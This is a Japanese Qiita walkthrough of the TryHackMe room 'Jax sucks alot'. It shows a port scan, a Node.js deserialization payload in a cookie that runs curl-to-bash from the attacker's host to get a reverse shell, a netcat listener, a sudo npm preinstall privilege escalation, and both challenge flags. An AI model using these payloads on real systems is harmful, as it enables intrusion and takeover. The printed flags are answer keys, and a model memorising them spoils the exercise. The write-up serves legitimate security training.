0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】 Jax sucks alot.............:Walkthrough

Posted at

概要

TryHackMe「Jax sucks alot.............」のWalkthroughです。

Task1

Q1.user.txt

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.26.17 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 5b:2d:9d:60:a7:45:de:7a:99:20:3e:42:94:ce:19:3c (RSA)
|   256 bf:32:78:01:83:af:78:5e:e7:fe:9c:83:4a:7d:aa:6b (ECDSA)
|_  256 12:ab:13:80:e5:ad:73:07:c8:48:d5:ca:7c:7d:e0:af (ED25519)
80/tcp open  http
|_http-title: Horror LLC
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Fri, 11 Oct 2024 08:31:57 GMT
|     Connection: close
|     <html><head>
|     <title>Horror LLC</title>
|     <style>
|     body {
|     background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
|     background-size: 300% 300%;
|     -webkit-animation: Background 10s ease infinite;
|     -moz-animation: Background 10s ease infinite;
|     animation: Background 10s ease infinite;
|     @-webkit-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @-moz-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @keyframes Background {
|     background-position: 0% 50%
|     background-posi
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Fri, 11 Oct 2024 08:31:58 GMT
|     Connection: close
|     <html><head>
|     <title>Horror LLC</title>
|     <style>
|     body {
|     background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
|     background-size: 300% 300%;
|     -webkit-animation: Background 10s ease infinite;
|     -moz-animation: Background 10s ease infinite;
|     animation: Background 10s ease infinite;
|     @-webkit-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @-moz-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @keyframes Background {
|     background-position: 0% 50%
|_    background-posi

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http

80番ポートにアクセスします。

index.jpg

メールアドレスを送信するとCookieが返ってきました。

test post request.jpg

デコードすると、値がシリアライズされCookieに設定されていると分かりました。

$ echo "eyJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSJ9" | base64 -d
{"email":"admin@admin.com"}

デシリアライズ攻撃が出来そうです。
NodeJSのデシリアライズ攻撃でRCE出来る脆弱性を見つけました。

リバースシェルファイルを作成し、ペイロードを送信します。

_$$ND_FUNC$$_function (){\n \t require('child_process').exec('curl http://10.6.55.144/shell.sh|bash',
function(error, stdout, stderr) { console.log(stdout) });\n }  ()  

Netcatでリッスンしているとシェルを張れました。

$ nc -lvnp 1234               
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.26.17] 47422
bash: cannot set terminal process group (540): Inappropriate ioctl for device
bash: no job control in this shell
dylan@jason:/opt/webapp$ whoami
whoami
dylan

TTYを設定します。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

/home/dylan/user.txtからユーザーフラグを入手できました。

/home/dylan/user.txt
0ba48780dee9f5677a4461f588af217c

A.0ba48780dee9f5677a4461f588af217c

Q2.root.txt

sudo -lを確認すると/usr/bin/npmが設定されています。

$ sudo -l
sudo -l
Matching Defaults entries for dylan on jason:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dylan may run the following commands on jason:
    (ALL) NOPASSWD: /usr/bin/npm *

GFTOBinsで権限昇格のテクニックを見つけました。

一連のコマンドを入力し、rootシェルを取得できました。

dylan@jason:~$ TF=$(mktemp -d)
TF=$(mktemp -d)
dylan@jason:~$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
<ts": {"preinstall": "/bin/sh"}}' > $TF/package.json
dylan@jason:~$ sudo -u root /usr/bin/npm -C $TF --unsafe-perm i
sudo -u root /usr/bin/npm -C $TF --unsafe-perm i

> @ preinstall /tmp/tmp.TNHVfSKLaK
> /bin/sh

# whoami
whoami
root

/root/root.txtからルートフラグを入手できます。

/root/root.txt
2cd5a9fd3a0024bfa98d01d69241760e

A.2cd5a9fd3a0024bfa98d01d69241760e

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?